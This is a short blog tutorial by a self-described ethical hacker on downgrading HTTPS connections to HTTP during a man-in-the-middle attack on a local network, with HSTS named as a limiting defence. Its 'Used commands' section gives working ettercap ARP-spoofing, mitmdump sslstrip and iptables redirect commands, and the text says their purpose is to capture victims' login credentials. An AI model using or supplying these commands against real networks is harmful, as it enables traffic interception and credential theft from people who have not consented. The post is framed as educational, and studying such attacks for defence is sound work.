Downgrade HTTPS to HTTP | Man in the Middle Attack

Downgrade HTTPS to HTTP | Man in the Middle Attack
Downgrade HTTPS to HTTP | Man in the Middle Attack
Downgrade HTTPS to HTTP | Man in the Middle Attack
Downgrade HTTPS to HTTP | Man in the Middle Attack
Downgrade HTTPS to HTTP | Man in the Middle Attack

In a previous article/video, I talked about what man in the middle attack is and how you can perform man in the middle attack to intercept traffic in your network.

Learn Man in the Middle Attack and how to perform it

Problem

One of the problems you’ll face when intercepting the traffic in your network is that some websites use HTTPS.

Downgrade HTTPS to HTTP Live [Practical]

https://youtu.be/iHiyYOxgisA
This video is for educational purposes only

What is HTTPS?

HTTPS is a secure version of HTTP that is used to encrypt all the traffic between the client and the website. The communication protocol is encrypted using Transport Layer Security or, formerly, Secure Sockets Layer.

Solution

To solve this issue, we are going to use sslstrip to downgrade HTTPS to an HTTP connection.

This will make the connection between the client and the website unencrypted, and therefore you’ll be able to capture the login credentials.

Please keep in mind, this doesn’t work on all websites.

Hacking isometric icon with infected server and laptops 3d vector illustration

What is HSTS?

HSTS (Strict Transport Security response header): HTTP Strict Transport Security is a policy mechanism that helps to protect websites against man-in-the-middle attacks such as protocol downgrade attacks and cookie hijacking.

Another thing that you need to keep in mind is the results will differ from one browser to another. So, Edge browser might downgrade LinkedIn from HTTPS to HTTP, but Chrome doesn’t.

Learn more about Transparent proxy https://www.imperva.com/learn/ddos/transparent-proxy/

Used commands:

ettercap -Tq -M arp:remote -i eth0 -S /Router_IP// /Target_IP//

-Tq Text only GUI quite 

-M perform MITM (Method:ARG)

-i interface

-S do not forge SSL certificates

apt-get install mitmproxy

mitmdump -s sslstrip.py -m transparent

-s use a script

-m mode 

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 8080

Saad Sarraj

I am a CyberSecurity and Ethical Hacking/Penetration Testing passionate. I am also a TryHackMe Top 1% CTF Player.

Leave a Reply

Your email address will not be published. Required fields are marked *